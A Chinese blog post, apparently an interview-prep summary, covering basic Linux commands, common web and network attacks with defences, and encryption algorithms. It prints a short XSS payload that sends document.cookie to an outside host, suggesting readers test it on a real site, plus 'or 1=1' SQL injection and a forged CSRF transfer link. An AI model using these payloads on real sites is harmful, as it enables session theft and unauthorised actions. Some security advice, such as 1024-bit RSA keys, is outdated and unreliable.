Linux常用命令和网络攻击面试总结
Posted 肖帆咪
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux常用命令和网络攻击面试总结相关的知识,希望对你有一定的参考价值。
Linux
浏览目录下的文件列表 ls [选项]
创建文件目录命令 mkdir [选项] 目录名称
删除空文件夹 rmdir
删除文件/目录 rm -rf 强制删除
复制文件/目录
cp -r 目录1 目录2 递归复制 目录1所有的文件和文件夹到目录2
cp -ri 目录1 目录2 执行复制时覆盖原有目录前询问用户
移动文件,修改文件名
mv 文件1 文件2 (修改文件名)
mv 目录1 目录2 (将目录1的文件移动到目录2中)
查找文件或目录:find /root -name ‘ins’
创建文件 touch 文件名
查看,编辑文件 vi 文件名 --打开文件 --输入i,a,o 修改文件
:wq! 保存并退出 :q! 强制退出
在vi编辑下 退出insert编辑模式,输入
L 关标移到最后一行
数字+ 向上移多少行 示例:1+
dd 删除当前行
查看,编辑文件
cat 文件名 (打开一个较小的文件)
cat > 文件名 (打开一个新的文件) 【按下Ctrl+****C退出】
查看文件开头内容
head -n 文件名 n表示行数,默认为10行
查看文件的结尾
tail -f 文件名 动态加载某个文件的内容(常用于查看日志) 【按Ctrl+C退出】
tail -n 文件名 查看文件最后几行 n表示行数,默认为10行
权限模式
u,g,o:拥有者,同组用户,其他组用户
+,-:赋予,收回权限
r,w,x:读,写,执行权限
示例: chmod –r 文件夹名称
数字模式
使用三位二进制数表示权限操作
chmod abc file
其中a,b,c各为一个数字,a表示User,b表示Group,c表示Other的权限。
r=4,w=2,x=1
若要rwx(可读、可写、可执行)属性,则4+2+1=7
若要rw-(可读、可写、不可执行)属性,则4+2=6
若要r-w(可读、不可写、可执行)属性,则4+1=5
范例:
chmod a=rwx file 和 chmod 777 file 效果相同
chmod ug=rwx,o=x file 和 chmod 771 file 效果相同
若用chmod 4755 filename可使此程式具有root的权限
示例:chmod 753 –r F01
查看进程 ps
杀死进程 kill -9 pid -9表示强迫中止
进程文件.sh文件
安装解压
解压gzip包 tar -zxvf 包名
解压bz包 tar -jxvf 包名
解压普通包 tar -xvf 包名
ifconfig查看ip地址
已经启动了项目,更新jar包,需要重新部署的情况
1.查看进程 ps -ef或者更精准 ps -ef|grep xxx
2.杀死进程 kill -9 进城号
3.删除旧的jar包 rm 文件名
4.上传新fu’z的jar包 2.(用命令或者直接拖动等都行)
5.输入启动命令启动jar包
启动命令:4)nohup Java -jar xxx.jar >aa.log //指定输出日志文件,意是不挂断运行命令,当账户退出或终端关闭时,程序仍然运行
XSS跨站脚本攻击
将一段html和javascript代码注入到用户浏览的网页上。
如何注入?
譬如在某个评论里,发表一段如下代码:(可以尝试在csdn上试试),如果该网站通过cookie管理用户名密码,那访问含有该脚本的链接后,会携带cookie到abc.com中,攻击者即可获得cookie数据。
<script>
location.href="//abc.com/c="+document.cookie</script>
</script>
- 窃取 Cookie:黑客可以在 JavaScript 中通过 document.cookie 获得 Cookie 信息。
- 未授权操作:以利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。
- 按键记录和钓鱼:黑客还可以通过修改 DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。
防范的策略
- 利用浏览器的同源策略。不过浏览器这种东西本身就不是绝对可靠, 同源策略也不是没法破解。
- 设置cookie为HttpOnly,即防止恶意脚本获取cookie
- 使用正则表达式,过滤特殊字符,这也是很多可以评论的网站常见的手段之一。
httponly
HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险
支持HttpOnly的浏览器检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取该cookie,则浏览器将返回一个空字符串作为结果。这会通过阻止恶意代码(通常是XSS)将数据发送到攻击者的网站来使攻击失败。
CSRF跨站请求伪造
攻击者通过骗取用户访问一个曾经认证过的网站,然后执行一些非法操作,如转钱。譬如某个支付机构设计的一个低能的转账请求如下:
http://abc.com?account=A&money=100
并且,用户曾对abc.com认证过,譬如记住账号密码,此时攻击者可以在它的网站伪造个链接或者放一张图片,其链接如下,由于攻击者曾认证过,该操作被视为合法,攻击者获得10元。
http;//abc.com?account=攻击者&money=100
咋一看CSRF和XSS很像,其实确实有点像,不过XSS利用的是用户对网站的信任,而CSRF利用的是服务对用户浏览器的信任。
CSRF的防范策略
- 一种是利用HTTP报文中的Referer字段,用于标识请求的来源地址,通过检查Referer字段,让只有合法的请求来源才能有执行的权限。
- 第二种则是token,最简单的方式服务端随机出随机数,并要求每个请求都带上。
- 第三种则是输入验证码,这种手段也比较常见了。
CSRF 和 XSS 的区别
1、CSRF是跨站请求伪造; XSS是跨域脚本攻击。
2、CSRF需要用户先登录网站A,获取cookie; XSS不需要登录。
3、CSRF是利用网站A本身的漏洞,去请求网站A的api; XSS是向网站A注入JS代码,然后执行JS里的代码,篡改网站A的内容。(XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。
SQL注入
SQL注入也是比较烂大街的攻击手段了,利用的是SQL语句的执行漏洞。如下,当我account填入A or 1=1,pwd填入c or 1 =1,则变成条件永远成立了,从而可以执行某个用户的操作。
select * from user where account=A and pwd = B
select *
from user
where (account=A or 1 =1) and (pwd = B or 1 =1)
这种攻击也比较好处理,SQL语句预编译,正则过滤请求中的特殊字符,或者对一些特殊符号预先转换。
DOS攻击、DDOS攻击
https://blog.csdn.net/wenjianfeng/article/details/90096514
DoS 攻击:攻击者不断地提出服务请求,让合法用户的请求无法及时处理
DDoS 攻击:攻击者使用多台计算机或者计算机集群进行 DoS 攻击
DOS举例:SYN-洪泛攻击
DDOS举例:攻击者会对某些APP或网站植入一些恶意代码,譬如说curl www.mukedada.com
,用户在使用这款APP或网站时,会自动请求www.mukedada.com
这个网站,如果这款APP或网站的活跃用户数很多,那么这个网站就会受到很多莫名的请求。
相同之处:都是攻击者想非法占用被攻击者的一些资源,比如如:带宽,CPU,内存等等,使得被攻击者无法响应正常用户的请求。
不同之处:
DOS(拒绝服务):为一台主机进行攻击。目的是使得计算机或者网络我无法提供正常服务。最常见的DOS攻击有计算机网络带宽攻击和连通性的攻击。
**DDOs(分布式拒绝服务):群体攻击。**借助CS(客户端/服务器)技术,将多个计算机联合起来作为一个攻击平台,从而对一个或多个目标法功攻击。
DDOS分布式拒绝服务攻击
它利用多台服务器在某个瞬间内发送大量请求至某个目标服务器中,从而耗费你的服务器资源,让你的服务瘫痪。
这种一般比较很难解决,如果是针对ip进访问限制,有时会误伤友军。
DDOS最常见的攻击形式
SYN/ACK Flood 最经典最有效的利用 TCP 协议的 DDos 攻击手段,可通杀各种系统的网络服务:
SYN 攻击(半连接攻击)
在三次握手过程中,服务器发送 SYN-ACK 之后,收到客户端的 ACK 之前的 TCP 连接称为半连接(half-open connect)。此时服务器处于 SYN_RCVD 状态。当收到 ACK 后,服务器才能转入 ESTABLISHED 状态.
SYN攻击指的是,攻击客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送SYN包,服务器回复确认包,并等待客户的确认。由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,导致目标系统运行缓慢,严重则会引起网络堵塞甚至系统瘫痪。
SYN 攻击是一种典型的 DoS/DDoS 攻击。
解决
可以通过缩短 SYN Timeout 时间,降低服务器负荷;设置 SYN Cookie,记录请求连接的 IP地址,丢弃来自某个/些 IP 的重复 SYN 报文;
ACK Flood
ACK Flood说的就是TCP正常连接后,由于大量主机发送请求,服务端忙于接受报文,判断请求状态,向应从请求(发送rst应答或者ack应答),从而无法正常执行其他请求,最终让其他服务瘫痪。
没有针对性的防御方案,可以通过分析请求的报文,设定专门的应答策略。
TCP 全连接攻击
这种攻击方式也是成本也是比较高的,首先你的浏览器一般默认的TCP链接最大为8,再者你的服务器TCP连接数也会有一个限制,这意味你需要很多主机来模拟这种请求。对于攻击目标而言,目标服务器的 TCP 连接数也是有限的,一旦你的服务压不过攻击者,那你的网站则会非常缓慢甚至无法访问。
解决
根据实际情况设置TCP 新建连接速率、异常报文数阈值,超过该阈值启动防御;针对源进行统计,如果某个源 IP 在指定的时间间隔内发起的 TCP 新建连接数超过了阈值,则将该源 IP 加入黑名单; 针对报文数进行检查,如果特定时间内通过的报文数小于阈值则判定为异常会话,如果指定时间内某个源 IP 异常会话超过了阈值,则该源 IP 加入黑名单。
CC
(Challenge Collapsar)攻击又称HTTP Flood,这种请求也不是很好处理,应为它就像量比较大的正常请求,不过有迹可循的是,在某个时间段内,它集中于攻击网站里头需要较长计算时间的请求,使你的服务达到瓶颈。
解决
网站页面静态化,针对开销较大的资源,针对某个ip限制访问问频率、避免数据库慢查询、选择适合的缓存、消息队列等。
ICMP洪水
即 Internet 控制报文协议,在短时间内,攻击者向目的主机发送大量 Ping 包,消耗主机资源,主机资源耗尽后就会瘫痪或者无法提供其他服务。
解决
通过禁用ICMP解决,有些网站你会发现虽然ping不通,但它正常服务是没有问题的
UDP 洪水
UDP 是无连接状态的协议,攻击者发送大量伪造源IP地址的小 UDP 包,冲击 DNS 服务器(即 UDP DNS Query Flood)或 Radius 认证服务器、流媒体视频服务器等,将线路上的骨干设备例如防火墙打瘫,造成整个网段的瘫痪,是一个消耗双方资源的攻击。
解决
判断包大小,如果是大包攻击,则使用防止 UDP 碎片方法:根据攻击包大小设定包碎片重组大小,通常不小于1500;在极端情况下,可以考虑丢弃所有 UDP 碎片。攻击端口为业务端口:根据该业务 UDP 最大包长设置 UDP 最大包大小以过滤异常流量;攻击端口为非业务端口则丢弃所有 UDP 包,可能会误伤正常业务;建立 UDP 连接规则,要求所有去往该端口的 UDP 包,必须首先与 TCP 端口建立 TCP 连接。
DNS劫持
DNS是通过访问的URL解析ip。没有DNS,我们上网需要记忆每个网站的IP地址而不是他们的域名。
但是DNS提供服务用来将域名转换成IP地址,但不能确保解析结果是否被更改等等,比如:
- 本地计算机中的木马修改hosts文件
- 本地计算机中的木马修改DNS数据包中的应答
- 网络中的节点(如路由器)修改DNS数据包中的应答
- 网络中的节点(如运营商)修改DNS数据包中的应答
被更改之后,可能就会访问某些恶意地址
预防:
1.经常杀毒
1、为域名注册商和注册用邮箱设置复杂密码且经常更换。使用单独的DNS服务,也需要对密码进行上述设置。同时注意不要在多个重要注册地使用相同的用户名和密码;
2、将域名更新设置为锁定状态,不允许通过DNS服务商网站修改记录,使用此方法后,需要做域名解析都要通过服务商来完成,时效性较差;
3、定期检查域名帐户信息、域名whois信息,査看事件管理器,清理Web网点中存在的可疑文件。每天site网站检查是否有预期外网页。详细检查网站索引和外链信息,有异常一定要检查清楚;
4、加强网站的防SQL注入功能,SQL注入是利用SQL语句的特点向数据库写内容,从而获取到权限的方法;
5、配置Web站点文件夹及文件操作权限。Windows网络操作系统中,使用超级管理员权限, 对Web站点文件及文件夹配置权限,多数设置为读权限,谨慎使用写权限,如果无法获取超级管理员权限,这样***程序便无法生根,网站域名被劫持的可能便可以降低很多;
6、利用事务签名对区域传送和区域更新进行数字签名;
7、删除运行在DNS服务器上的不必要服务,如FTP;
8、在网络外围和DNS服务器上使用防火墙服务。将访问限制在那些DNS功能需要的端口/服务上。
解决:
阿里、腾讯等头部互联网厂商开始推出了httpDNS服务,来了一招釜底抽薪,虽然这项技术的名字中还有DNS三个字母,但实现上和原来但DNS已经是天差地别,通过这项技术让DNS变成了在http协议之上的一个应用服务。
1、立即修改域名服务商和邮箱密码,使用复杂度高的密码且经常更换;
2、删除不属于你的DNS解析,恢复DNS设置;
3、关闭域名的泛解析,进入域名管理后台就可以点击我们的域名找到带号的域名解析,删除掉就可以了;
4、如果使用的是第三方DNS服务,应立即修改第三方DNS服务端帐户密码,锁定帐户信息,开启帐户短信邮箱类提醒;
5、看网站整体代码是否被篡改。这是解决域名劫持问题之后对自己的网站进行全面排查,从而做到完美的清除垃圾页面,保证网站的安全性;
6、收集全部被非法添加的页面并设置404,使用百度站长平台工具提交死链。因为那些网站的死链就是我们的垃圾页面,所以我们要把这些死链都解决。我们在页面举报内容处写上网站被恶意**就可以了;
7、如果该服务商下域名经常出现被劫持事件,可考虑更换更安全稳定的服务商。有能力的网站可自建DNS服务自主运营。
JSON劫持
JSON是一种轻量级的数据交换格式。
恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。
一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。
一、接受请求时检查referer来源。
二、在请求中添加 Token并在后端进行验证。
三、严格过滤callback函数名及JSON里数据的输出。
暴力破解—密码
这个一般针对密码而言,弱密码(Weak Password)很容易被别人(对你很了解的人等)猜到或被破解工具暴力破解。
解决方案 密码复杂度要足够大,也要足够隐蔽 限制尝试次数,加验证码
对称加密 AES DES 3DES
优缺点:
优点: 加速密码快
**缺点:**密钥的传递和保存是一个问题,参与加密和解密的双方使用的密钥是一样的,这样密钥就很容易泄露
在实际的操作过程中,因为都是针对二进制的操作,采取补操作可以用异或操作来代替,另外,在其中的某些步骤还可以那数据和密钥进行位运算,具体不同加密算法实现不同
对称加密算法(AES DES 3DES)
对称加密算法是指加密和解密采用相同的密钥,是可逆的(即可解密)。
DES数据加密标准
目前已经被证明可以被暴力破解。所谓暴力破解,就是遍历所有可能的密钥解析数据的方法。举个例子,已知张三和李四传输的是中文,加密算法是 DES,那么拿出一小段数据进行暴力破解,尝试所有的密钥,如果能成功解析出中文词语(词语在词库中可以查到),那么说明破解成功。
DES 采用的 56 位密钥,每次计算加密 64 位的数据。
DES 采用的 56 位密钥,每次计算加密 64 位的数据。在实际的暴力破解过程中,比我上面描述的行为更加复杂。一个通用的暴力破解算法需要较大的算力,一些 DES 的破解算法需要 239-241 次操作。这个数量级的操作,目前还没有超出人类计算能力的极限,如果显卡好一点,或者机器多一些还是可以承受的。
因此后续很多组织开始利用 3 次 DES 操作来增加破解成本,具体的做法是用 3 个 56 位的密钥组合成一个 168 位的密钥,对数据进行 3 次 DES 操作,这样做大大增加了暴力破解的成本。但是目前针对 3DES 仍然有一些攻击策略,需要 290 次计算和 288 位内存,虽然有一定概率被攻破,但是成本非常高。
AES加密
AES加密算法是密码学中的高级加密标准,采用的是对称分组密码体制,密钥长度的最少支持为128,AES加密算法是美国联邦政府采用的区块加密标准,这个标准用来替代原先的DES,已经被多方分析且广为全世界使用。
非对称加密(RSA、DSA、ECC)
非对称加密算法是指加密和解密采用不同的密钥(公钥和私钥),因此非对称加密也叫公钥加密,是可逆的(即可解密)。公钥密码体制根据其所依据的难题一般分为三类:大素数分解问题类、离散对数问题类、椭圆曲线类
RSA加密算法是基于一个十分简单的数论事实:将两个大素数相乘十分容易,但是想要对其乘积进行因式分解极其困难,因此可以将乘积公开作为加密密钥。虽然RSA的安全性一直未能得到理论上的证明,但它经历了各种攻击至今未被完全攻破。
优缺点
优点 : 加密和解密的密钥不一致,公钥是可以公开的,只需保证私钥不被泄露即可,这样就密钥的传递变的简单很多,从而降低了被破解的几率。
缺点 : 加密速度慢
RSA加密算法既可以用来做数据加密,也可以用来数字签名。
–数据加密过程:发送者用公钥加密,接收者用私钥解密(只有拥有私钥的接收者才能解读加密的内容)
–数字签名过程:甲方用私钥加密,乙方用公钥解密(乙方解密成功说明就是甲方加的密,甲方就不可以抵赖)
常见的应用场景
非对称加密算法目前广泛应用到各个领域,比如
- HTTPS 协议的握手和交换密钥过程需要非对称加密算法;SSH 的通信需要非对称加密算法。
- 另外,证书的生程,比如利用证书实现 git 账号的免密操作也是基于非对称加密算法。
- 在线合同、数字货币的签名等都需要非对称加密算法。
总结
对称加密用同样的密钥,安全系数不够。非对称加密,用公钥 + 私钥的方式加强了安全系数。
那么是不是我们所有的加密的应用都应该用非对称加密呢?通常情况,非对称加密需要更多的运算资源。因此很多协议使用非对称加密解决最核心的安全问题,再用对称加密解决其他问题。
以 HTTPS 协议为例,客户端和服务器之间会先用非对称加密交换临时对称加密密钥,然后之后的通信会以对称加密执行,直到连接结束。也就是非对称加密仅仅存在于 HTTPS 连接建立后,用于交换密钥(对称加密密钥)的少数几次传输中。这样用非对称加密解决最核心的安全问题:交换对称加密密钥;然后利用对称加密进行数据的传输。
3、线性散列算法算法(MD5、SHA1、HMAC)
MD5全称是Message-Digest Algorithm 5(信息摘要算法5),单向的算法不可逆(被MD5加密的数据不能被解密)。MD5加密后的数据长度要比加密数据小的多,且长度固定,且加密后的串是唯一的。
适用场景:常用在不可还原的密码存储、信息完整性校验等。
信息完整性校验:典型的应用是对一段信息产生信息摘要,以防止被篡改。如果再有一个第三方的认证机构,用MD5还可以防止文件作者的“抵赖”,这就是所谓的数字签名应用。
SHA-1 与 MD5 的比较
SHA-1摘要比MD5摘要长32 位,所以SHA-1对强行攻击有更大的强度,比MD5更安全。使用强行技术,产生任何一个报文使其摘要等于给定报摘要的难度对MD5是2128数量级的操作,而对SHA-1则是2160数量级的操作。
在相同的硬件上,SHA-1 的运行速度比 MD5 慢。
4、混合加密
由于以上加密算法都有各自的缺点(RSA加密速度慢、AES密钥存储问题、MD5加密不可逆),因此实际应用时常将几种加密算法混合使用。
例如:RSA+AES:
采用RSA加密AES的密钥,采用AES对数据进行加密,这样集成了两种加密算法的优点,既保证了数据加密的速度,又实现了安全方便的密钥管理。
那么,采用多少位的密钥合适呢?一般来讲密钥长度越长,安全性越高,但是加密速度越慢。所以密钥长度也要合理的选择,一般RSA建议采用1024位的数字,AES建议采用128位即可。
5、Base64
严格意义讲,Base64并不能算是一种加密算法,而是一种编码格式,是网络上最常见的用于传输8bid字节代码的编码方式之一。
Base64编码可用于在HTTP环境下传递较长的标识信息,Base编码不仅不仅比较简单,同时也据有不可读性(编码的数据不会被肉眼直接看到)。
摘要算法:HTTPS如何方式数据发生了篡改?
作用:防止数据被篡改。
摘要算法:实现数据完整性,能够为数据生成独一无二的指纹,指纹用于校验数据的完整性,解决了被篡改的风险。
过程
1、客户端发送明文前,会通过摘要算法算出明文的指纹,发送时明文和指纹一同加密,发送给服务器。
2、服务器解密后,用相同的摘要算法算出发送过来的明文,通过比较客户端携带的指纹和当前指纹做比较,若相同,则说明数据是完整的。
以上是关于Linux常用命令和网络攻击面试总结的主要内容,如果未能解决你的问题,请参考以下文章
Linux 系统如何通过 netstat 命令查看连接数判断攻击